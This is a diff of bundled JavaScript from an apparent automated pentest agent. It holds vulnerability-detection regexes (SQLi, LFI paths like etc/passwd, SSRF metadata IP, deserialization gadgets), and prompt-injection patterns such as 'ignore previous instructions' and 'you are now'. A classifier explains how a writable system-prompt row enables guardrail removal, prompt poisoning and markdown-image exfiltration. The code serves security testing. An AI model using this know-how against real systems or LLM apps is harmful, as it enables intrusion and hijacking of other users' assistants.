the fix is narrow and **adjacent objects are likely still unrooted**.
|
|
776
|
+
- Start from the patched roots. Enumerate every object/temporary that lives
|
|
777
|
+
*next to* what the patch just rooted: other intrinsics that hold borrowed
|
|
778
|
+
references across a callback, re-entrancy points, iterators / sort / comparator
|
|
779
|
+
callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
|
|
780
|
+
with the collector.
|
|
781
|
+
- For each candidate ask: can the attacker script trigger a GC (allocate pressure,
|
|
782
|
+
explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
|
|
783
|
+
untraced? If yes \u2192 candidate UAF.
|
|
784
|
+
- Type-confusion variant: where the patch rooted an object of one type, check
|
|
785
|
+
whether a sibling path can swap the object's type between the root and the use.
|
|
786
|
+
|
|
787
|
+
### Step 3: Fuzz + sanitize the LOCAL build
|
|
788
|
+
- Build the cloned tree with sanitizers and drive the suspect entry points
|
|
789
|
+
(the \`unsafe\` slices and Step-2 candidates) under \`cargo fuzz\` (libFuzzer) and
|
|
790
|
+
\`miri\` for UB on the unsafe paths. ASAN/UBSAN catch UAF/OOB; miri catches
|
|
791
|
+
aliasing / uninit UB the sanitizers miss.
|
|
792
|
+
- If \`cargo-fuzz\` / \`miri\` / sanitizer toolchains are not installed, say so and
|
|
793
|
+
request them \u2014 do NOT fabricate a fuzzing result. The pipeline degrades and
|
|
794
|
+
reports the missing tooling rather than faking success.
|
|
795
|
+
- Reproduce every crash to a minimal input before claiming it.
|
|
796
|
+
|
|
797
|
+
### Step 4: Triage, don't over-claim
|
|
798
|
+
- For each reproduced crash, classify the primitive (use-after-free, type-confusion,
|
|
799
|
+
heap-oob-*, \u2026) and whether the offset / value is attacker-controllable.
|
|
800
|
+
- A crash under the sanitizer is a *finding*; a full UAF\u2192leak\u2192arbitrary-read chain
|
|
801
|
+
is NOT auto-synthesised \u2014 that stays human/agent-authored and gated by verify.
|
|
802
|
+
- save_finding with: the unsafe block / GC-root gap, the minimal reproducing input,
|
|
803
|
+
the sanitizer/miri output, and the local build commit. Assume false-positive until
|
|
804
|
+
the local instrumented build reproduces it deterministically.`
|
|
805
|
+
};
|
|
806
|
+
var INDICATORS = [
|
|
807
|
+
{
|
|
808
|
+
type: "sqli",
|
|
809
|
+
patterns: [
|
|
810
|
+
/SQL syntax/i,
|
|
811
|
+
/mysql_fetch/i,
|
|
812
|
+
/sqlite3?\./i,
|
|
813
|
+
/pg_query/i,
|
|
814
|
+
/ORA-\d{5}/i,
|
|
815
|
+
/ODBC SQL Server/i,
|
|
816
|
+
/unclosed quotation mark/i,
|
|
817
|
+
/syntax error.*near/i,
|
|
818
|
+
/sql.*error/i,
|
|
819
|
+
/database.*error/i,
|
|
820
|
+
/SELECT\s+.*FROM\s+/i,
|
|
821
|
+
/information_schema/i,
|
|
822
|
+
/UNION\s+SELECT/i
|
|
823
|
+
]
|
|
824
|
+
},
|
|
825
|
+
{
|
|
826
|
+
// Structural / JSON-key SQLi (#774): the injectable surface is a key /
|
|
827
|
+
// field name concatenated into SQL (ORDER BY, dynamic column). These
|
|
828
|
+
// patterns point at identifier-position injection + the column-name error
|
|
829
|
+
// shapes that value-fuzz SQLi detection does not key on.
|
|
830
|
+
type: "structural_sqli",
|
|
831
|
+
patterns: [
|
|
832
|
+
/ORDER\s+BY/i,
|
|
833
|
+
/GROUP\s+BY/i,
|
|
834
|
+
/Unknown column '[^']*' in/i,
|
|
835
|
+
/column "[^"]*" does not exist/i,
|
|
836
|
+
/Invalid column name/i,
|
|
837
|
+
/no such column/i,
|
|
838
|
+
/\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
|
|
839
|
+
/"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
|
|
840
|
+
/unrecognized token/i
|
|
841
|
+
]
|
|
842
|
+
},
|
|
843
|
+
{
|
|
844
|
+
type: "ssti",
|
|
845
|
+
patterns: [
|
|
846
|
+
/\{\{.*\}\}/,
|
|
847
|
+
/\$\{.*\}/,
|
|
848
|
+
/<%=.*%>/,
|
|
849
|
+
/jinja/i,
|
|
850
|
+
/mako/i,
|
|
851
|
+
/twig/i,
|
|
852
|
+
/freemarker/i,
|
|
853
|
+
/thymeleaf/i,
|
|
854
|
+
/template.*engine/i,
|
|
855
|
+
/\b49\b/
|
|
856
|
+
// result of {{7*7}}
|
|
857
|
+
]
|
|
858
|
+
},
|
|
859
|
+
{
|
|
860
|
+
type: "idor",
|
|
861
|
+
patterns: [
|
|
862
|
+
/\/api\/users?\/\d+/i,
|
|
863
|
+
/\/profile\?id=/i,
|
|
864
|
+
/\/user\/\d+/i,
|
|
865
|
+
/\/account\/\d+/i,
|
|
866
|
+
/\/edit\/\d+/i,
|
|
867
|
+
/\/order\/\d+/i,
|
|
868
|
+
/user_id/i,
|
|
869
|
+
/owner_id/i,
|
|
870
|
+
/account_id/i
|
|
871
|
+
]
|
|
872
|
+
},
|
|
873
|
+
{
|
|
874
|
+
// Multi-identity access-control surface (0#564). Distinct from `idor`:
|
|
875
|
+
// these patterns point at object/function references that should be tested
|
|
876
|
+
// with the access_control_probe tool across identities, plus the authz
|
|
877
|
+
// signals (admin endpoints, role params, allow/deny status codes).
|
|
878
|
+
type: "access_control",
|
|
879
|
+
patterns: [
|
|
880
|
+
/\/api\/[a-z]+\/\d+/i,
|
|
881
|
+
/\/api\/admin\//i,
|
|
882
|
+
/\/admin\b/i,
|
|
883
|
+
/\bobject[_-]?id\b/i,
|
|
884
|
+
/\bresource[_-]?id\b/i,
|
|
885
|
+
/\borg(?:anization)?[_-]?id\b/i,
|
|
886
|
+
/\btenant[_-]?id\b/i,
|
|
887
|
+
/\bis[_-]?admin\b/i,
|
|
888
|
+
/\brole\s*[=:]/i,
|
|
889
|
+
/\bunauthorized\b/i,
|
|
890
|
+
/\bforbidden\b/i,
|
|
891
|
+
/\b403\b/,
|
|
892
|
+
/\b401\b/
|
|
893
|
+
]
|
|
894
|
+
},
|
|
895
|
+
{
|
|
896
|
+
type: "xss",
|
|
897
|
+
patterns: [
|
|
898
|
+
/<script/i,
|
|
899
|
+
/onerror\s*=/i,
|
|
900
|
+
/onload\s*=/i,
|
|
901
|
+
/javascript:/i,
|
|
902
|
+
/document\.cookie/i,
|
|
903
|
+
/innerHTML/i,
|
|
904
|
+
/document\.write/i,
|
|
905
|
+
/reflected.*input/i,
|
|
906
|
+
/Content-Type:.*text\/html/i,
|
|
907
|
+
/<form[\s>]/i,
|
|
908
|
+
/<input[\s>]/i,
|
|
909
|
+
/<textarea[\s>]/i,
|
|
910
|
+
/type=["']?text["']?/i,
|
|
911
|
+
/name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
|
|
912
|
+
/\?[^=]+=.*</i,
|
|
913
|
+
/xss/i,
|
|
914
|
+
/cross.site/i,
|
|
915
|
+
/sanitiz/i,
|
|
916
|
+
/escape/i,
|
|
917
|
+
/\.php\?/i
|
|
918
|
+
]
|
|
919
|
+
},
|
|
920
|
+
{
|
|
921
|
+
type: "ssrf",
|
|
922
|
+
patterns: [
|
|
923
|
+
/url[=:]\s*http/i,
|
|
924
|
+
/webhook/i,
|
|
925
|
+
/callback.*url/i,
|
|
926
|
+
/fetch.*url/i,
|
|
927
|
+
/proxy/i,
|
|
928
|
+
/redirect.*url/i,
|
|
929
|
+
/169\.254\.169\.254/,
|
|
930
|
+
/metadata/i
|
|
931
|
+
]
|
|
932
|
+
},
|
|
933
|
+
{
|
|
934
|
+
type: "lfi",
|
|
935
|
+
patterns: [
|
|
936
|
+
/file[=:]/i,
|
|
937
|
+
/path[=:]/i,
|
|
938
|
+
/include[=:]/i,
|
|
939
|
+
/template[=:]/i,
|
|
940
|
+
/\.\.\/\.\.\//,
|
|
941
|
+
/etc\/passwd/i,
|
|
942
|
+
/\/proc\/self/i,
|
|
943
|
+
/root:x:0:0/,
|
|
944
|
+
/\[boot loader\]/i
|
|
945
|
+
]
|
|
946
|
+
},
|
|
947
|
+
{
|
|
948
|
+
type: "auth_bypass",
|
|
949
|
+
patterns: [
|
|
950
|
+
/login/i,
|
|
951
|
+
/sign.?in/i,
|
|
952
|
+
/auth/i,
|
|
953
|
+
/password/i,
|
|
954
|
+
/session/i,
|
|
955
|
+
/jwt/i,
|
|
956
|
+
/bearer/i,
|
|
957
|
+
/unauthorized/i,
|
|
958
|
+
/403/,
|
|
959
|
+
/401/
|
|
960
|
+
]
|
|
961
|
+
},
|
|
962
|
+
{
|
|
963
|
+
type: "blind_exploitation",
|
|
964
|
+
patterns: [
|
|
965
|
+
/\bblind\b/i,
|
|
966
|
+
/no output/i,
|
|
967
|
+
/waf/i,
|
|
968
|
+
/firewall/i,
|
|
969
|
+
/filter.*block/i,
|
|
970
|
+
/block.*filter/i,
|
|
971
|
+
/request.*rejected/i,
|
|
972
|
+
/forbidden/i,
|
|
973
|
+
/\b403\b/,
|
|
974
|
+
/not allowed/i,
|
|
975
|
+
/suspicious/i,
|
|
976
|
+
/malicious.*input/i,
|
|
977
|
+
/identical.*respons/i,
|
|
978
|
+
/same.*respons/i,
|
|
979
|
+
/time.?based/i,
|
|
980
|
+
/out.?of.?band/i,
|
|
981
|
+
/\boob\b/i,
|
|
982
|
+
/callback/i,
|
|
983
|
+
/interactsh/i,
|
|
984
|
+
/webhook\.site/i,
|
|
985
|
+
/sleep\(/i,
|
|
986
|
+
/pg_sleep/i,
|
|
987
|
+
/benchmark\(/i,
|
|
988
|
+
/php:\/\/filter/i,
|
|
989
|
+
/convert\.base64-encode/i,
|
|
990
|
+
/\.\.%2f/i,
|
|
991
|
+
/\.\.%252f/i,
|
|
992
|
+
/encoding.*restrict/i,
|
|
993
|
+
/sanitiz.*input/i,
|
|
994
|
+
/stripped/i
|
|
995
|
+
]
|
|
996
|
+
},
|
|
997
|
+
{
|
|
998
|
+
type: "command_injection",
|
|
999
|
+
patterns: [
|
|
1000
|
+
/exec\s*\(/i,
|
|
1001
|
+
/system\s*\(/i,
|
|
1002
|
+
/popen\s*\(/i,
|
|
1003
|
+
/subprocess/i,
|
|
1004
|
+
/child_process/i,
|
|
1005
|
+
/shell.*true/i,
|
|
1006
|
+
/ping\s/i,
|
|
1007
|
+
/nslookup/i,
|
|
1008
|
+
/traceroute/i
|
|
1009
|
+
]
|
|
1010
|
+
},
|
|
1011
|
+
{
|
|
1012
|
+
type: "deserialization",
|
|
1013
|
+
patterns: [
|
|
1014
|
+
// PHP
|
|
1015
|
+
/unserialize\s*\(/i,
|
|
1016
|
+
/__wakeup/,
|
|
1017
|
+
/__destruct/,
|
|
1018
|
+
/O:\d+:"[\w\\]+":\d+:\{/,
|
|
1019
|
+
// PHP serialized object header
|
|
1020
|
+
/unserialize\(\):\s*Error at offset/i,
|
|
1021
|
+
/phpggc/i,
|
|
1022
|
+
// Python pickle
|
|
1023
|
+
/pickle\.loads?\s*\(/i,
|
|
1024
|
+
/cPickle/i,
|
|
1025
|
+
/__reduce__/,
|
|
1026
|
+
// YAML
|
|
1027
|
+
/yaml\.load\s*\(/i,
|
|
1028
|
+
/!!python\/object/i,
|
|
1029
|
+
/!ruby\/object/i,
|
|
1030
|
+
/SnakeYAML/i,
|
|
1031
|
+
/FullLoader/,
|
|
1032
|
+
/SafeLoader/,
|
|
1033
|
+
// Java
|
|
1034
|
+
/rO0AB/,
|
|
1035
|
+
// base64 of Java serialization magic
|
|
1036
|
+
/\xac\xed\x00\x05/,
|
|
1037
|
+
/application\/x-java-serialized-object/i,
|
|
1038
|
+
/ysoserial/i,
|
|
1039
|
+
/CommonsCollections/i,
|
|
1040
|
+
// .NET
|
|
1041
|
+
/BinaryFormatter/i,
|
|
1042
|
+
/ObjectStateFormatter/i,
|
|
1043
|
+
/__VIEWSTATE/,
|
|
1044
|
+
/TypeNameHandling/i,
|
|
1045
|
+
// Ruby
|
|
1046
|
+
/Marshal\.load/i,
|
|
1047
|
+
/Gem::Installer/,
|
|
1048
|
+
// Generic
|
|
1049
|
+
/deserializ/i,
|
|
1050
|
+
/serializ.*object/i
|
|
1051
|
+
]
|
|
1052
|
+
},
|
|
1053
|
+
{
|
|
1054
|
+
type: "request_smuggling",
|
|
1055
|
+
patterns: [
|
|
1056
|
+
/Transfer-Encoding/i,
|
|
1057
|
+
/chunked/i,
|
|
1058
|
+
/Content-Length.*Transfer-Encoding/is,
|
|
1059
|
+
/Transfer-Encoding.*Content-Length/is,
|
|
1060
|
+
/CL\.TE/i,
|
|
1061
|
+
/TE\.CL/i,
|
|
1062
|
+
/TE\.TE/i,
|
|
1063
|
+
/desync/i,
|
|
1064
|
+
/smuggl/i,
|
|
1065
|
+
/HAProxy/i,
|
|
1066
|
+
/Apache Traffic Server/i,
|
|
1067
|
+
/\bnginx\/1\.[0-9]\./i,
|
|
1068
|
+
// old nginx often vulnerable
|
|
1069
|
+
/HTTP\/1\.1.*keep-alive/i,
|
|
1070
|
+
/front.?end.*back.?end/i,
|
|
1071
|
+
/reverse.proxy/i,
|
|
1072
|
+
/X-Forwarded-For/i
|
|
1073
|
+
]
|
|
1074
|
+
},
|
|
1075
|
+
{
|
|
1076
|
+
type: "creative_idor",
|
|
1077
|
+
patterns: [
|
|
1078
|
+
/\/api\/v\d+\//i,
|
|
1079
|
+
/\/v\d+\//,
|
|
1080
|
+
/id=\d+/,
|
|
1081
|
+
/user_?id/i,
|
|
1082
|
+
/owner_?id/i,
|
|
1083
|
+
/account_?id/i,
|
|
1084
|
+
/role=/i,
|
|
1085
|
+
/is_?admin/i,
|
|
1086
|
+
/X-Original-URL/i,
|
|
1087
|
+
/X-Rewrite-URL/i,
|
|
1088
|
+
/X-HTTP-Method/i,
|
|
1089
|
+
/_method=/i,
|
|
1090
|
+
/mass.assignment/i,
|
|
1091
|
+
/parameter.pollution/i,
|
|
1092
|
+
/\bHPP\b/,
|
|
1093
|
+
/403.*forbidden/i,
|
|
1094
|
+
/401.*unauthorized/i,
|
|
1095
|
+
/not.*authorized/i,
|
|
1096
|
+
/permission.denied/i,
|
|
1097
|
+
/access.denied/i,
|
|
1098
|
+
/enumerate/i,
|
|
1099
|
+
/sequential.*id/i,
|
|
1100
|
+
/predictable.*id/i
|
|
1101
|
+
]
|
|
1102
|
+
},
|
|
1103
|
+
{
|
|
1104
|
+
type: "cve_exploitation",
|
|
1105
|
+
patterns: [
|
|
1106
|
+
// WordPress indicators
|
|
1107
|
+
/wp-content/i,
|
|
1108
|
+
/wp-includes/i,
|
|
1109
|
+
/wp-admin/i,
|
|
1110
|
+
/wp-json/i,
|
|
1111
|
+
/xmlrpc\.php/i,
|
|
1112
|
+
/wordpress/i,
|
|
1113
|
+
/wp-login/i,
|
|
1114
|
+
/\/wp-content\/plugins\//i,
|
|
1115
|
+
/\/wp-content\/themes\//i,
|
|
1116
|
+
// Drupal / Joomla
|
|
1117
|
+
/drupal/i,
|
|
1118
|
+
/joomla/i,
|
|
1119
|
+
/X-Drupal-Cache/i,
|
|
1120
|
+
// Generator / version disclosure
|
|
1121
|
+
/<meta\s+name=["']generator["']/i,
|
|
1122
|
+
/X-Generator:/i,
|
|
1123
|
+
/X-Powered-By:/i,
|
|
1124
|
+
/Server:\s*Apache\/[\d.]+/i,
|
|
1125
|
+
/Server:\s*nginx\/[\d.]+/i,
|
|
1126
|
+
// Common fingerprint files
|
|
1127
|
+
/readme\.html/i,
|
|
1128
|
+
/CHANGELOG\.txt/i,
|
|
1129
|
+
/composer\.json/i,
|
|
1130
|
+
/package\.json/i,
|
|
1131
|
+
// CVE / version strings
|
|
1132
|
+
/CVE-\d{4}-\d{4,7}/i,
|
|
1133
|
+
/\?ver=[\d.]+/i,
|
|
1134
|
+
/version[\s:=]+[\d]+\.[\d]+/i,
|
|
1135
|
+
// Plugin slugs commonly seen
|
|
1136
|
+
/contact-form-7/i,
|
|
1137
|
+
/woocommerce/i,
|
|
1138
|
+
/elementor/i,
|
|
1139
|
+
/yoast/i,
|
|
1140
|
+
/wp-file-manager/i,
|
|
1141
|
+
/duplicator/i,
|
|
1142
|
+
/ninja-forms/i
|
|
1143
|
+
]
|
|
1144
|
+
},
|
|
1145
|
+
{
|
|
1146
|
+
type: "prompt_injection",
|
|
1147
|
+
patterns: [
|
|
1148
|
+
/prompt.?inject/i,
|
|
1149
|
+
/ignore (?:all |the |your )?(?:previous|prior|above) instructions/i,
|
|
1150
|
+
/system prompt/i,
|
|
1151
|
+
/jailbreak/i,
|
|
1152
|
+
/\bLLM\b/,
|
|
1153
|
+
/chatbot/i,
|
|
1154
|
+
/\bassistant\b/i,
|
|
1155
|
+
/role[:=]\s*system/i,
|
|
1156
|
+
/you are (?:a|an|now)/i,
|
|
1157
|
+
/\bDAN\b/
|
|
1158
|
+
]
|
|
1159
|
+
},
|
|
1160
|
+
{
|
|
1161
|
+
type: "rag_poisoning",
|
|
1162
|
+
patterns: [
|
|
1163
|
+
/\bRAG\b/,
|
|
1164
|
+
/retrieval.augmented/i,
|
|
1165
|
+
/knowledge\s*base/i,
|
|
1166
|
+
/vector\s*(?:store|db|database)/i,
|
|
1167
|
+
/embedding/i,
|
|
1168
|
+
/\bretriev/i,
|
|
1169
|
+
/(?:upload|add|index|ingest).*(?:document|doc|file)/i,
|
|
1170
|
+
/context\s*(?:window|poison)/i,
|
|
1171
|
+
/ask (?:my|your) docs/i,
|
|
1172
|
+
/semantic search/i
|
|
1173
|
+
]
|
|
1174
|
+
},
|
|
1175
|
+
{
|
|
1176
|
+
type: "insecure_output_handling",
|
|
1177
|
+
patterns: [
|
|
1178
|
+
/!\[[^\]]*\]\(https?:\/\//,
|
|
1179
|
+
// markdown image
|
|
1180
|
+
/render(?:ed|s)?.*(?:markdown|html|output)/i,
|
|
1181
|
+
/\bXSS\b/,
|
|
1182
|
+
/innerHTML/i,
|
|
1183
|
+
/dangerouslySetInnerHTML/i,
|
|
1184
|
+
/output.*(?:render|execut|eval)/i,
|
|
1185
|
+
/<img[^>]+onerror/i,
|
|
1186
|
+
/<script/i,
|
|
1187
|
+
/unescap/i,
|
|
1188
|
+
/link\s*(?:preview|unfurl)/i
|
|
1189
|
+
]
|
|
1190
|
+
},
|
|
1191
|
+
{
|
|
1192
|
+
type: "excessive_agency",
|
|
1193
|
+
patterns: [
|
|
1194
|
+
/excessive.agency/i,
|
|
1195
|
+
/function.call/i,
|
|
1196
|
+
/tool.use/i,
|
|
1197
|
+
/\bplugin/i,
|
|
1198
|
+
/\bMCP\b/,
|
|
1199
|
+
/\bagent\b/i,
|
|
1200
|
+
/(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
|
|
1201
|
+
/tool[_-]?call/i,
|
|
1202
|
+
/autonomous/i,
|
|
1203
|
+
/human.in.the.loop/i
|
|
1204
|
+
]
|
|
1205
|
+
},
|
|
1206
|
+
{
|
|
1207
|
+
// AI prompt-layer write target (0#775). Fires when a DB foothold
|
|
1208
|
+
// coincides with LLM-app + prompt-store signals: the system prompt /
|
|
1209
|
+
// guardrails / model config live in a writable DB row. Distinct from
|
|
1210
|
+
// rag_poisoning (writable retrieval docs) — this is the *control* layer.
|
|
1211
|
+
type: "prompt_layer_write",
|
|
1212
|
+
patterns: [
|
|
1213
|
+
/system[_\s-]?prompt/i,
|
|
1214
|
+
/\bguardrail/i,
|
|
1215
|
+
/prompt[_\s-]?template/i,
|
|
1216
|
+
/\bpersona\b/i,
|
|
1217
|
+
/assistant[_\s-]?config/i,
|
|
1218
|
+
/agent[_\s-]?config/i,
|
|
1219
|
+
/model[_\s-]?config/i,
|
|
1220
|
+
/safety[_\s-]?settings/i,
|
|
1221
|
+
/\bllm[_\s-]?settings/i,
|
|
1222
|
+
/\bLLM\b/,
|
|
1223
|
+
/\bchatbot\b/i,
|
|
1224
|
+
/you are (?:a|an|now)/i,
|
|
1225
|
+
// DB-foothold co-signals
|
|
1226
|
+
/\bSQLi\b/i,
|
|
1227
|
+
/information_schema/i,
|
|
1228
|
+
/SHOW\s+TABLES/i,
|
|
1229
|
+
/\bUPDATE\s+\w+\s+SET/i,
|
|
1230
|
+
/getCollectionNames/i,
|
|
1231
|
+
/\bGRANT\b/i,
|
|
1232
|
+
/\bUPDATE\b.*privilege/i
|
|
1233
|
+
]
|
|
1234
|
+
},
|
|
1235
|
+
{
|
|
1236
|
+
// Rust / userspace memory-safety + sandbox-escape (0#696, Monty-mode).
|
|
1237
|
+
// Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
|
|
1238
|
+
// and miri output, GC-root / refcount language), and the language-runtime
|
|
1239
|
+
// sandbox context the round-1 UAF lived in.
|
|
1240
|
+
type: "rust_memsafety",
|
|
1241
|
+
patterns: [
|
|
1242
|
+
/\bunsafe\b/i,
|
|
1243
|
+
/\bPyO3\b/i,
|
|
1244
|
+
/\bcargo[\s-]?fuzz\b/i,
|
|
1245
|
+
/\blibfuzzer\b/i,
|
|
1246
|
+
/\bmiri\b/i,
|
|
1247
|
+
/AddressSanitizer/i,
|
|
1248
|
+
/\bASAN\b/i,
|
|
1249
|
+
/\bUBSAN\b/i,
|
|
1250
|
+
/heap-use-after-free/i,
|
|
1251
|
+
/use[\s-]?after[\s-]?free/i,
|
|
1252
|
+
/double[\s-]?free/i,
|
|
1253
|
+
/type[\s-]?confusion/i,
|
|
1254
|
+
/\btransmute\b/i,
|
|
1255
|
+
/from_raw\b/i,
|
|
1256
|
+
/\bPy_(?:INCREF|DECREF)\b/i,
|
|
1257
|
+
/\brefcount\b/i,
|
|
1258
|
+
/\bgc[\s_-]?root\b/i,
|
|
1259
|
+
/gc\.collect\(/i,
|
|
1260
|
+
/garbage collector/i,
|
|
1261
|
+
/\.rs\b/,
|
|
1262
|
+
/\bcargo\b/i,
|
|
1263
|
+
/\bsegfault\b/i,
|
|
1264
|
+
/sandbox escape/i
|
|
1265
|
+
]
|
|
1266
|
+
}
|
|
1267
|
+
];
|
|
1268
|
+
function detectPlaybooks(toolResultTexts) {
|
|
1269
|
+
const combined = toolResultTexts.join("\n");
|
|
1270
|
+
const scores = /* @__PURE__ */ new Map();
|
|
1271
|
+
for (const indicator of INDICATORS) {
|
|
1272
|
+
let matchCount = 0;
|
|
1273
|
+
for (const pattern of indicator.patterns) {
|
|
1274
|
+
if (pattern.test(combined)) {
|
|
1275
|
+
matchCount++;
|
|
1276
|
+
}
|
|
1277
|
+
}
|
|
1278
|
+
if (matchCount >= 2) {
|
|
1279
|
+
scores.set(indicator.type, matchCount);
|
|
1280
|
+
}
|
|
1281
|
+
}
|
|
1282
|
+
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1283
|
+
}
|
|
1284
|
+
function buildPlaybookInjection(types) {
|
|
1285
|
+
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1286
|
+
if (sections.length === 0)
|
|
1287
|
+
return "";
|
|
1288
|
+
return [
|
|
1289
|
+
"## Dynamic Playbook Injection",
|
|
1290
|
+
"",
|
|
1291
|
+
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1292
|
+
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1293
|
+
"",
|
|
1294
|
+
...sections
|
|
1295
|
+
].join("\n");
|
|
1296
|
+
}
|
|
1297
|
+
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1298
|
+
{
|
|
1299
|
+
impact: "guardrail_removal",
|
|
1300
|
+
patterns: [
|
|
1301
|
+
/\bguardrail/i,
|
|
1302
|
+
/safety[_\s-]?settings?/i,
|
|
1303
|
+
/\bmoderation\b/i,
|
|
1304
|
+
/\bpolicy\b/i,
|
|
1305
|
+
/\brefus/i,
|
|
1306
|
+
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1307
|
+
/you must (?:refuse|not)/i,
|
|
1308
|
+
/content[_\s-]?filter/i
|
|
1309
|
+
]
|
|
1310
|
+
},
|
|
1311
|
+
{
|
|
1312
|
+
impact: "output_channel_exfil",
|
|
1313
|
+
patterns: [
|
|
1314
|
+
/output[_\s-]?(?:channel|template|format)/i,
|
|
1315
|
+
/webhook/i,
|
|
1316
|
+
/\bcallback\b/i,
|
|
1317
|
+
/markdown/i,
|
|
1318
|
+
/!\[[^\]]*\]\(https?:\/\//,
|
|
1319
|
+
/append .*(?:url|link|http)/i
|
|
1320
|
+
]
|
|
1321
|
+
},
|
|
1322
|
+
{
|
|
1323
|
+
impact: "model_config_tamper",
|
|
1324
|
+
patterns: [
|
|
1325
|
+
/model[_\s-]?(?:config|name|id)/i,
|
|
1326
|
+
/\btemperature\b/i,
|
|
1327
|
+
/\btop[_\s-]?p\b/i,
|
|
1328
|
+
/\bmax[_\s-]?tokens\b/i,
|
|
1329
|
+
/tool[_\s-]?(?:config|choice|s)\b/i,
|
|
1330
|
+
/function[_\s-]?(?:config|call)/i,
|
|
1331
|
+
/assistant[_\s-]?config/i,
|
|
1332
|
+
/agent[_\s-]?config/i
|
|
1333
|
+
]
|
|
1334
|
+
},
|
|
1335
|
+
{
|
|
1336
|
+
impact: "prompt_poisoning",
|
|
1337
|
+
patterns: [
|
|
1338
|
+
/system[_\s-]?prompt/i,
|
|
1339
|
+
/prompt[_\s-]?template/i,
|
|
1340
|
+
/\bprompts?\b/i,
|
|
1341
|
+
/\binstructions?\b/i,
|
|
1342
|
+
/\bpersona\b/i,
|
|
1343
|
+
/you are (?:a|an|now|the)/i
|
|
1344
|
+
]
|
|
1345
|
+
}
|
|
1346
|
+
];
|
|
1347
|
+
function looksLikePromptLayer(haystack) {
|
|
1348
|
+
return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
|
|
1349
|
+
}
|
|
1350
|
+
function classifyPromptLayerImpact(asset) {
|
|
1351
|
+
const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
|
|
1352
|
+
const isPromptLayer = looksLikePromptLayer(haystack);
|
|
1353
|
+
if (!isPromptLayer) {
|
|
1354
|
+
return {
|
|
1355
|
+
isPromptLayer: false,
|
|
1356
|
+
impacts: [],
|
|
1357
|
+
severity: "info",
|
|
1358
|
+
narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
|
|
1359
|
+
};
|
|
1360
|
+
}
|
|
1361
|
+
const impacts = [];
|
|
1362
|
+
for (const rule of PROMPT_LAYER_IMPACT_RULES) {
|
|
1363
|
+
if (rule.patterns.some((p) => p.test(haystack))) {
|
|
1364
|
+
impacts.push(rule.impact);
|
|
1365
|
+
}
|
|
1366
|
+
}
|
|
1367
|
+
if (!asset.writable) {
|
|
1368
|
+
return {
|
|
1369
|
+
isPromptLayer: true,
|
|
1370
|
+
impacts: [],
|
|
1371
|
+
severity: "low",
|
|
1372
|
+
narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
|
|
1373
|
+
};
|
|
1374
|
+
}
|
|
1375
|
+
const reRead = asset.reReadAtInference === true;
|
|
1376
|
+
const severity = reRead ? "high" : "low";
|
|
1377
|
+
const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
|
|
1378
|
+
const narrative = [
|
|
1379
|
+
`WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
|
|
1380
|
+
reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
|
|
1381
|
+
`Impact class(es): ${impacts.join(", ")}.`,
|
|
1382
|
+
...impactLabels.map((l) => `- ${l}`),
|
|
1383
|
+
"Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
|
|
1384
|
+
].join("\n");
|
|
1385
|
+
return { isPromptLayer: true, impacts, severity, narrative };
|
|
1386
|
+
}
|
|
1387
|
+
var IMPACT_NARRATIVE = {
|
|
1388
|
+
prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
|
|
1389
|
+
guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
|
|
1390
|
+
output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
|
|
1391
|
+
model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
|
|
1392
|
+
};
|
|
1393
|
+
function describeAsset(asset) {
|
|
1394
|
+
const loc = [asset.table, asset.column].filter(Boolean).join(".");
|
|
1395
|
+
return loc || "unnamed asset";
|
|
1396
|
+
}
|
|
1397
|
+
|
|
1398
|
+
// packages/core/dist/triage/userspace-fuzz-runner.js
|
|
1399
|
+
import { execFile } from "node:child_process";
|
|
1400
|
+
import { createHash } from "node:crypto";
|
|
1401
|
+
import { tmpdir } from "node:os";
|
|
1402
|
+
import { basename, dirname, isAbsolute, join, relative, resolve, sep } from "node:path";
|
|
1403
|
+
import { closeSync, constants, existsSync, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, readdirSync, realpathSync, rmSync, statSync, writeFileSync } from "node:fs";
|
|
1372
1404
|
|
|
1373
|
-
|
|
1374
|
-
|
|
1375
|
-
|
|
1376
|
-
|
|
1377
|
-
-
|
|
1378
|
-
|
|
1379
|
-
|
|
1380
|
-
|
|
1405
|
+
// packages/core/dist/review/sanitizer-log.js
|
|
1406
|
+
var ASAN_CATEGORY_BY_KIND = {
|
|
1407
|
+
"heap-use-after-free": "use-after-free",
|
|
1408
|
+
"stack-use-after-return": "use-after-free",
|
